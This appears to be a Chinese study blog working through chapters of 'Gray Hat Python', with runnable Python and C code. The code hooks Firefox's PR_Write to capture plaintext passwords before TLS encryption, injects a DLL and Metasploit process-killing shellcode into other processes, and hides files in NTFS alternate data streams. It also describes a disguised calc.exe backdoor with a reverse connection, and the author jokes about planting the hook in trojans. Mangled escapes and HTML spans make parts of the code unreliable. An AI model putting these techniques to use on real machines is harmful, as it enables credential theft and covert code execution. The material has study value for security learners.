这次我能不能解决呢,上上上,ida看我的showprocess代码在哪,跟着下断,f9运行
其实发现immlib获取的地址跟实际process32first的首地址还是有点差别,可能是代码中有个W的后缀吧
虽然最终还是会运行到immlib 获取的那个地址那里,应该是我的电脑默认是用宽字符吧,毕竟大中文啊跟着继续单步,咦怎么运行到栈上的地址来了,当然要会出错啦
再看看代码,由于作者说防止一些高级病毒检测函数头部是否被修改过,于是在第10行写入代码,可以看到前面有四个push,加入我们修改的代码后一旦ret的话,直接就返回到最后一个push,也就是edi的值出,我们可以看到确实就是栈上的地址,终于 明白了

马上把代码改成第一行就行了,或者搞多几个对应的pop在sub eax,eax的前面,其实nlines改成1是从第二行开始改,即push ebp
opcode = imm.disasmForward(address, nlines = 1)KOKOKOKO~~!!!!!!!!!!!

当然下面这个在前面写上对应的pop也可以
patch_bytes = imm.assemble("SUB EAX,EAX/nRET")还有的话更直接也可以,病毒不高级的话
我怀疑作者到底有没有实验过的啊,只是吐槽一下,我是菜逼,哎半页纸写了这么长,我都佩服我自己了,加油
继续下一章奋斗第六章 HOOKINGHooking是一种强大的进程监控技术,通过改变进程的流程,以监视进程中数据的访问和改变1.用PyDbg实现Soft Hooking据说这次可以获取https的数据哦,wireshark我们抓到的https都是加密的数据,那么我们怎么获取到呢,肯定有个过程是明文的啊我们这次实验目标firefox浏览器,我使用的应该是最新版吧(版本 firefox 48.0),测试网站:https://www.openrce.org/articles/其实f12就可以抓到的,为何还要这样子搞呢,一切都是为了学习奋斗看书本的样子是PR_Write函数之前是还没加密的,之后就加密了,如果我们搞个病毒木马在别人的机器上hook一下,那么安静,开玩笑啦大笑打开firefox,attach上去,准备下断点,又有困难了,什么没有这个模块?
跟着在可执行模块那里找了一圈确实没有, 咦我怎么不相信计算机的查找了,他都说找不到了,我还查难过但是在上网搜索这个模块的函数的时候
有个nss3出现了,再看看模块那里有没有,果真有,那就尝试啊,怕什么,大不了死机
下断点,没报错
这个要点运行好几次,firefox才能动起来啊在页面输入账号密码都是test,准备好收明文HTTP报文了,哈哈
果然在点击运行几次有发现栈上有个POST的明文出现,幸好我手快,不然就点过去了,开心~~~~~~~数据窗口跟随,哈哈,都暴露了,不过作者直接出的是post的字段,不过我这个更详细啦~~~~~~~~~~~
手工来了一遍,我们尝试作者的程序干一遍吧代码:
# -*- coding: utf-8 -*-
# @Date: 2016-08-20 17:02:22
# @Author: giantbranch (giantbranch@gmail.com)
# @Link: http://blog.csdn.net/u012763794?viewmode=contentsfrom pydbg import *
from pydbg.defines import *
import utils
import sys
dbg = pydbg()
found_firefox = Falsepattern = "password"def ssl_sniff(dbg, args):
buffer = ""
offset = 0
while 1:
byte = dbg.read_process_memory(args[1]+offset, 1)
if byte != '/x00':
buffer += byte
offset += 1
continue
else:
break
if pattern in buffer:
print "Pre-Encrypted:%s" % buffer
return DBG_CONTINUEfor (pid, name) in dbg.enumerate_processes():
if name.lower() == "firefox.exe":
found_firefox = True
hooks = utils.hook_container()
dbg.attach(pid)
print "[*] Attaching to firefox.exe with PID:%d" % pid
hook_address = dbg.func_resolve_debuggee("nss3.dll", "PR_Write")
if hook_address:
hooks.add(dbg, hook_address, 2, ssl_sniff, None)
print "[*] nss3.PR_Write hooked at:0x%08x" % hook_address
break
else:
print "[*] Error:Couldn't resolve hook address."
sys.exit(-1)if found_firefox:
print "[*] Hooks set,continuing process."
dbg.run()
else:
print "[*] Error:Couldn't find the firefox.exe process."
sys.exit(-1)不知道哪个网站为何又上不了,算了直接上经常上的百度登陆一波打开firefox后,打开百度,输入好账号密码,先不要点登陆
运行我们的python脚本没有报错后就可以登录啦
这个应用于病毒木马应该还有点用但是主要是soft hook是怎么实现的我的理解如下:
就是你告诉我在那个地方hook,我就在那里写入int3中的,因为触发了int3中的,那么控制就交给调试器了,所以我们就在这时读取内存的数据什么的,读完再恢复程序2.Hard Hooking
基本原理:修改目标函数中某条指令为跳转指令跳到我们设定好的代码,搞定后再跳回去,这样程序就没有像软件断点那样暂停下来了。代码:
# -*- coding: utf-8 -*-
# @Date    : 2016-08-21 09:12:35
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://blog.csdn.net/u012763794?viewmode=contents
import immlib
import immutils
def getRet(imm, allocaddr, max_opcodes = 300):
<span style="white-space:pre"></span>addr = allocaddr
<span style="white-space:pre"></span>for a in range(0, max_opcodes):
<span style="white-space:pre"></span># 这个函数应该是以这个地址开始解析一条指令,默认行数是1
<span style="white-space:pre"></span># 返回汇编指令
<span style="white-space:pre"></span>op = imm.disasmForward(addr)
<span style="white-space:pre"></span># 判断是否为ret指令
<span style="white-space:pre"></span>if op.isRet():
<span style="white-space:pre"></span>imm.log("op.getImmConst:%02x" % op.getImmConst())
<span style="white-space:pre"></span>if op.getImmConst() == 0xC:
<span style="white-space:pre"></span># 以当前地址向前反汇编3条指令
<span style="white-space:pre"></span>op = imm.disasmBackward(addr, 3)
<span style="white-space:pre"></span>return op.getAddress()
<span style="white-space:pre"></span>addr = op.getAddress()
<span style="white-space:pre"></span>return 0x0
def showresult(imm , a, rtlallocate, extra = ""):
<span style="white-space:pre"></span>if a[0] == rtlallocate:
<span style="white-space:pre"></span>imm.log("RtlAllocateHeap(0x%08x,0x%08x,0x%08x) <- 0x%08x %s" % (a[1][0], a[1][1], a[1][2], a[1][3], extra), address = a[1][3])
<span style="white-space:pre"></span>return "done"
<span style="white-space:pre"></span>else:
<span style="white-space:pre"></span>imm.log("RtlFreeHeap(0x%08x,0x%08x,0x%08x) %s" % (a[1][0], a[1][1], a[1][2], extra))
def main(args):
<span style="white-space:pre"></span>imm = immlib.Debugger()
<span style="white-space:pre"></span>Name = "hippie"
<span style="white-space:pre"></span># Gets python object from the knowledge database.
<span style="white-space:pre"></span># 下面会用addKnowledge储存到knowledge database
<span style="white-space:pre"></span>fast = imm.getKnowledge(Name)
<span style="white-space:pre"></span>if fast:
<span style="white-space:pre"></span># 我们之前已经设置hooks了,所以我们打印结果
<span style="white-space:pre"></span>hook_list = fast.getAllLog()
<span style="white-space:pre"></span>rtlallocate,rtlfree = imm.getKnowledge("FuncNames")
<span style="white-space:pre"></span>for a in hook_list:
<span style="white-space:pre"></span>ret = showresult(imm, a, rtlallocate)
<span style="white-space:pre"></span>return "Logged: %d hook hits." % len(hook_list)
<span style="white-space:pre"></span># 暂停进程
<span style="white-space:pre"></span>imm.pause()
<span style="white-space:pre"></span>rtlfree = imm.getAddress("ntdll.RtlFreeHeap")
<span style="white-space:pre"></span>rtlallocate  = imm.getAddress("ntdll.RtlAllocateHeap")
<span style="white-space:pre"></span>imm.log("rtlallocate:0x%08x" % rtlallocate, address = rtlallocate)
<span style="white-space:pre"></span>module = imm.getModule("ntdll.dll")
<span style="white-space:pre"></span># 若还没分析这个模块,就去分析
<span style="white-space:pre"></span>if not module.isAnalysed():
<span style="white-space:pre"></span>imm.analyseCode(module.getCodebase())
<span style="white-space:pre"></span># 我们寻找正确的函数退出点(返回点)
<span style="white-space:pre"></span>rtlallocate = getRet(imm, rtlallocate, 1000)
<span style="white-space:pre"></span>imm.log("RtlAllocateHeap hook:0x%08x" % rtlallocate, address = rtlallocate)
<span style="white-space:pre"></span># 储存hook的地址
<span style="white-space:pre"></span>imm.addKnowledge("FuncNames", (rtlallocate, rtlfree))
<span style="white-space:pre"></span># 开始构建hook
<span style="white-space:pre"></span>fast = immlib.STDCALLFastLogHook(imm)
<span style="white-space:pre"></span>imm.log("Logging on Alloc 0x%08x" % rtlallocate, address = rtlallocate)
<span style="white-space:pre"></span># 我们要hook的是rtlallocate函数中的某个地址(这个地址会被跳转指令覆盖)
<span style="white-space:pre"></span>fast.logFunction(rtlallocate)
<span style="white-space:pre"></span># 根据EBP的偏移获取数据,其实是获取函数的各个参数的值
<span style="white-space:pre"></span>fast.logBaseDisplacement("EBP", 8)
<span style="white-space:pre"></span>fast.logBaseDisplacement("EBP", 0xC)
<span style="white-space:pre"></span>fast.logBaseDisplacement("EBP", 0x10)
<span style="white-space:pre"></span># 跟踪eax寄存器
<span style="white-space:pre"></span>fast.logRegister("EAX")
<span style="white-space:pre"></span>imm.log("Logging on RtlFreeHeap 0x%08x" % rtlfree, address = rtlfree)
<span style="white-space:pre"></span># 在rtlfree的头部hook,就要在第二个参数设定要获取该函数参数的数量
<span style="white-space:pre"></span>fast.logFunction(rtlfree, 3)
<span style="white-space:pre"></span># 设置钩子 
<span style="white-space:pre"></span>fast.Hook()
<span style="white-space:pre"></span># 储存钩子对象
<span style="white-space:pre"></span>imm.addKnowledge(Name, fast, force_add = 1)
<span style="white-space:pre"></span>return "Hooks setm press F9 to continue the process."
载入一个exe程序性,执行我们的脚本可以看到hook RtlFreeHeap的地址
跟过去发现跟作者的不一样
但是结果肯定是能出来的

这里的钩子的作用应该是对那两个堆操作函数hook,储存传给他们的参数第七章 DLL和代码注入1.创建远线程都是要用的下面这个函数咯
HANDLE CreateRemoteThread(
HANDLE hProcess,// handle to process
LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
DWORD dwStackSize,// initial stack size
LPTHREAD_START_ROUTINE lpStartAddress,// thread function
LPVOID lpParameter, // thread argument
DWORD dwCreationFlags,// creation option
LPDWORD lpThreadId// thread identifier
);1.DLL注入
dll注入首先搞个dll吧,搞个最简单的吧下面这个就是在注入的时候和从进程撤回的时候会弹框的dll源代码,在我github的源码中直接出编译后的FirstDll.dll
// FirstDll.cpp : Defines the entry point for the DLL application.
//#include "StdAfx.h"extern "C" __declspec(dllexport) VOID MsgBox(char *szMsg);BOOL APIENTRY DllMain( HANDLE hModule,
DWORDul_reason_for_call,
LPVOID lpReserved
)
{
switch(ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
{
MsgBox("DLL_PROCESS_ATTACH");
break;
}
case DLL_PROCESS_DETACH:
{
MsgBox("DLL_PROCESS_DETACH");
break;
}
case DLL_THREAD_ATTACH:
{
MsgBox("DLL_THREAD_ATTACH");
break;
}
case DLL_THREAD_DETACH:
{
MsgBox("DLL_THREAD_DETACH");
break;
}
}return TRUE;
}VOID MsgBox(char *szMsg)
{
char szModuleName[MAX_PATH] = {0};
GetModuleFileName(NULL, szModuleName, MAX_PATH);
MessageBox(NULL, szMsg, szModuleName, MB_OK);
}python注入代码
# -*- coding: utf-8 -*-
# @Date: 2016-08-21 15:24:02
# @Author: giantbranch (giantbranch@gmail.com)
# @Link: http://blog.csdn.net/u012763794?viewmode=contentsimport sys
from ctypes import *
# 初始化,获取传入参数的操作
PAGE_READWRITE = 0x4
PROCESS_ALL_ACCESS = (0x000F0000|0x00100000|0xFFF)
VIRTUAK_MEM = (0x1000|0x2000)
kernel32 = windll.kernel32
pid = sys.argv[1]
dll_path = sys.argv[2]
dll_len = len(dll_path)# 获得目标进程的句柄
h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
if not h_process:
print "[*] Couldn't acquire a handle to PID:%s" % pid# 分配内存给dll_path那个字符串
arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTUAK_MEM, PAGE_READWRITE)
# 将dll_path写入已分配的内存
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len, byref(written))
# 我们要获取LoadLibraryA的地址
h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll")
h_loadlib = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")
# 开始利用创建远程线程进行注入
thread_id = c_ulong(0)
if not kernel32.CreateRemoteThread(h_process, None, 0, h_loadlib, arg_address, 0, byref(thread_id)):
print "[*] Failed to inject the DLL. Exiting."
sys.exit(0)
print "[*] Remote thread with ID 0x%08x created." % thread_id.value运行结果:可以看到成功注入了
2.代码注入
# -*- coding: utf-8 -*-
# @Date: 2016-08-22 09:01:26
# @Author: giantbranch (giantbranch@gmail.com)
# @Link: http://blog.csdn.net/u012763794?viewmode=contentsimport sys
from ctypes import *PAGE_EXECUTE_READWRITE = 0x00000040
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM= ( 0x1000 | 0x2000 )kernel32= windll.kernel32
pid = int(sys.argv[1])
pid_to_kill = sys.argv[2]if not sys.argv[1] or not sys.argv[2]:
print "[*] Code Injector: ./code_injector.py <PID to inject> <PID to Kill>"
sys.exit(0)#/* win32_exec -EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA
#Size=159 Encoder=None http://metasploit.com */
shellcode = /
"/xfc/xe8/x44/x00/x00/x00/x8b/x45/x3c/x8b/x7c/x05/x78/x01/xef/x8b" /
"/x4f/x18/x8b/x5f/x20/x01/xeb/x49/x8b/x34/x8b/x01/xee/x31/xc0/x99" /
"/xac/x84/xc0/x74/x07/xc1/xca/x0d/x01/xc2/xeb/xf4/x3b/x54/x24/x04" /
"/x75/xe5/x8b/x5f/x24/x01/xeb/x66/x8b/x0c/x4b/x8b/x5f/x1c/x01/xeb" /
"/x8b/x1c/x8b/x01/xeb/x89/x5c/x24/x04/xc3/x31/xc0/x64/x8b/x40/x30" /
"/x85/xc0/x78/x0c/x8b/x40/x0c/x8b/x70/x1c/xad/x8b/x68/x08/xeb/x09" /
"/x8b/x80/xb0/x00/x00/x00/x8b/x68/x3c/x5f/x31/xf6/x60/x56/x89/xf8" /
"/x83/xc0/x7b/x50/x68/xef/xce/xe0/x60/x68/x98/xfe/x8a/x0e/x57/xff" /
"/xe7/x63/x6d/x64/x2e/x65/x78/x65/x20/x2f/x63/x20/x74/x61/x73/x6b" /
"/x6b/x69/x6c/x6c/x20/x2f/x50/x49/x44/x20/x41/x41/x41/x41/x00"padding = 4 - len(pid_to_kill)
replace_value = pid_to_kill + ("/x00" * padding)
replace_string = "/x41" * 4
shellcode = shellcode.replace(replace_string, replace_value)
code_size = len(shellcode)# 获取要注入进程的句柄
h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
if not h_process:
print "[*] Couldn't acquire a handle to PID: %s" % pid
sys.exit(0) # 为shellcode申请内存
arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)
written = c_int(0)
# 将shellcode写到刚分配好的内存里面
kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written))
thread_id = c_ulong(0)
if not kernel32.CreateRemoteThread(h_process, None, 0, arg_address, None, 0, byref(thread_id)):
print "[*] Failed to inject process-killing shellcode. Exiting."
sys.exit(0)
print "[*] Remote thread created with a thread ID of:0x%08x" % thread_id.value
print "[*] Process %s should not be running anymore!" % pid_to_kill可能是shellcode有点问题,注入后想要结束别人,结果自己挂了再见
2.邪恶的代码接下来学习的是,创建一个后门程序,命名为calc.exe,执行后,执行后门代码的同时执行原先的calc.exe1.文件隐藏利用ntfs ADS进行隐藏
# -*- coding: utf-8 -*-
# @Date: 2016-08-22 11:57:40
# @Author: giantbranch (giantbranch@gmail.com)
# @Link: http://blog.csdn.net/u012763794?viewmode=contentsimport sys
fd = open(sys.argv[1], "rb")
dll_contents = fd.read()
fd.close()
print "[*] Filesize:%d" % len(dll_contents)
fd = open("%s:%s" % (sys.argv[2], sys.argv[1]), "wb")
fd.write(dll_contents)
fd.close()没报错就是成功了,那怎么查看呢,可以用记事本打开,那应该也可以用其他什么十六进制编辑工具打开了,那么就可以还原文件了,直接还原不知道怎么搞,用了copy,echo,type好像都不行
2.编写后门20160912:隔了差不多有一个月没动了吧,太多事做了,1.由于作者的shellcode有点问题,还是以学习为主,先把这放一放,后面再来搞,看看能不能搞,不能就算了,搞完后或许都不来看自己的这篇文章了
大概理解一下这程序,这里的代码就不贴出来了,因为都不能运行的首先创建一个进程(就启动计算器这个程序,并记录下它的pid), 跟着写了一个注入的函数,前面出现过了的,这里将两个合二为一了,
最后就是定义一些shellcode,接下来就是注入,注入反向连接,就是后面了1.py2exe这个就是将python转化为exe程序的库,还可以,兼容性好
图像解密就windows,不是就console,后面的参数就是将那些库也打包进来跟着python setup.py py2exe,就等着exe出现吧,在dist目录第八章 FUZZINGfuzzing一开始听上去很高大上,其实就是爆破嘛,
1.Bug的分类1.缓冲区溢出栈溢出一般都很熟悉了,前面也有搞过:http://blog.csdn.net/u012763794/article/details/52174275#t40堆一般是malloc申请的, 还听说过堆喷射,就是申请了很大内存,前面的都是nop,最后一部分才是shellcode,这样shellcode的命中率就很高了
2.Integer Overflows上溢时,进位被舍弃掉了
下溢时,借位不够借。本来malloc很大的内存,结果加了个数,造成上溢,是malloc了很小,如果我们往刚申请的区域写入大量数据,那么就可能造成溢出了,这里应该是堆溢出吧3.Format StringAttacks格式化字符串攻击:攻击者通过设计好的字符串传入特定字符串格式化函数,使其产生溢出,如C语言的printf函数2.File Fuzzing这个搞了快一天的时间了,终于理解了简单说明一下:
每一次的fuzzing,首先从一个目录中读取我们要fuzzing的文件,比如说我们要fuzzing的是txt
那么我们用notepad运行它,就下面这样输入
python file_fuzzer.py -e C://Windows//System32//notepad.exe -x .txt
程序将fuzzing的文件复制一份,为test文件,跟着我们利用变形函数对其变形(就是在文件中插入一些特殊字符)
跟着启动调试器调试notepad打开那个变形的文件,如果有访问违例就调用check_accessv函数,监视进程就监视被调试的进程,等待3秒后(这时间是确保及时有违例也处理完了),就结束被调试进程,准备下一次的fuzzing# -*- coding: utf-8 -*-
# @Date: 2016-09-15 11:33:17
# @Author: giantbranch (giantbranch@gmail.com)
# @Link: http://blog.csdn.net/u012763794?viewmode=contentsfrom pydbg import *
from pydbg.defines import *
import utils
import random
import sys
import struct
import threading
import os
import shutil
import time
import getoptclass file_fuzzer:
# 构造方法
def __init__(self, exe_path, ext, notify):
# 初始化一些变量,用于跟踪记录文件的基础信息
self.exe_path = exe_path
self.ext = ext
self.notify_crash = notify
self.orig_file = None
self.mutated_file = None
self.iteration = 0
self.crash = None
self.send_notify = False
self.pid = None
self.in_accessv_handler = False
self.dbg = None
self.running = False
self.ready = False
# Optional 可选的,设置一下邮件的参数
self.smtpserver = ''
self.recipents = ['admin@xx.com',]
self.sender = ''
self.test_cases = ["%s%n%s%n%s%n", "/xff", "/x00", "A"]# 列出某个目录,跟着随机选取一个进行变形,并将其复制为test文件
def file_picker(self):
file_list = os.listdir("examples/")
list_length = len(file_list)
file = file_list[random.randint(0, list_length-1)]
shutil.copy("examples//%s" % file, "test.%s" % self.ext)
return filedef fuzz(self):
while 1:
# 第一步,确保只有一个调试进程在运行或者访问违例的处理程序没有在搜集崩溃信息(因为搜集完的话他会将running设置为false)
if not self.running:
# 调用选取函数并保存该文件
self.test_file = self.file_picker()
# 传入变形函数
self.mutate_file()# 文件变形完成,就开启调试线程
pydbg_thread = threading.Thread(target=self.start_debugger)
# setDaemon设置是否为守护进程,这是是false
# 在linux或者unix操作系统中,守护进程(Daemon)是一种运行在后台的特殊进程,它独立于控制终端并且周期性的执行某种任务或等待处理某些发生的事件。
pydbg_thread.setDaemon(0)
pydbg_thread.start()# 当程序创建成功,得到了新的pid
while self.pid == None:
time.sleep(1)# 开始监视线程
monitor_thread = threading.Thread(target=self.monitor_debugger)
monitor_thread.setDaemon(0)
monitor_thread.start()# 统计变量
self.iteration += 1#等待一次fuzz完成
else:
time.sleep(1)# 开启调试器
def start_debugger(self):
print "[*] Starting debugger for iteration: %d" % self.iteration
self.running = True
self.dbg = pydbg()
self.dbg.set_callback(EXCEPTION_ACCESS_VIOLATION,self.check_accessv)
pid = self.dbg.load(self.exe_path, "test.%s" % self.ext)
self.pid = self.dbg.pid
self.dbg.run()def check_accessv(self, dbg):
if dbg.dbg.u.Exception.dwFirstChance:
return DBG_CONTINUE
print "[*] Woot! Handling an access violation!"
self.in_accessv_handler = True
crash_bin = utils.crash_binning.crash_binning()
crash_bin.record_crash(dbg)
self.crash = crash_bin.crash_synopsis()
# 记录崩溃的信息
crash_fd = open("crashes//crash-%d" % self.iteration, "w")
crash_fd.write(self.crash)
# 备份文件
shutil.copy("test.%s" % self.ext, "crashes//%d.%s" % (self.iteration, self.ext))
shutil.copy("examples//%s" % self.test_file, "crashes//%d_orig.%s" % (self.iteration, self.ext))
self.dbg.terminate_process()
self.in_accessv_handler = False
self.running = False
return DBG_EXCEPTION_NOT_HANDLED# 监视进程,确保在一段事件以后杀死被调试的进程
def monitor_debugger(self):
counter = 0;
print "[*] Monitor thread for pid: %d waiting." % self.pid,
while counter < 3:
time.sleep(1)
print counter,
counter += 1
# 不在处理访问违规就结束那个被调试的进程
if self.in_accessv_handler != True:
time.sleep(1)
self.dbg.terminate_process()
self.pid = None
self.running = False
else:
print "[*] The access violation handler is doing its business.Waiting."while self.running:
time.sleep(1)def notify(self):
crash_message = "From:%s/r/n/r/nTo:/r/n/r/nIteration: %d/n/nOutput:/n/n %s" % (self.sender, self.iteration, self.crash)
session = smtplib.SMTP(smtpserver)
session.sendemail(sender, recipents, crash_message)
session.quit()
return# 变形函数
def mutate_file(self):
# 打开我们的测试文件,读取里面的内容
fd = open("test.%s" % self.ext, "rb")
stream = fd.read()
fd.close()# 随机选取前面的测试用例来测试
test_case = self.test_cases[random.randint(0, len(self.test_cases)-1)]
# 看看文件数据流有多长,根据这个来随机选择位置来插入
stream_length = len(stream)
rand_offset = random.randint(0, stream_length-1)
# 随机选取插入次数
rand_len = random.randint(0, 1000)
# 将选出来的测试用例乘以次数
test_case = test_case * rand_len# 在选取的插入位置处插入我们的测试用例
fuzz_file = stream[0:rand_offset]
fuzz_file += str(test_case)
fuzz_file += stream[rand_offset]# 最后将其输出文件
fd = open("test.%s" % self.ext, "wb")
fd.write(fuzz_file)
fd.close()
returndef print_usage():
print "[*]"
print "[*] file_fuzzer.py -e <Executable Path> -x <File Extension>"
print "[*]"
sys.exit(0)if __name__ == '__main__':
print "[*] Generic File Fuzzer."
try:
opts,argo = getopt.getopt(sys.argv[1:], "e:x:n")
except getopt.GetoptError:
print_usage()exe_path = None
ext = None
notify = Falsefor o,a in opts:
if o == "-e":
exe_path = a
elif o == "-x":
ext = a
elif o == "-n":
notify = Trueif exe_path is not None and ext is not None:
fuzzer = file_fuzzer(exe_path, ext, notify)
fuzzer.fuzz()
else:
print_usage()
运行结果:实验成功

第九章 SULLEY
本文链接:http://blog.csdn.net/u012763794/article/details/52174275
第七城市

最新文章

123

最新摄影

微信扫一扫

第七城市微信公众平台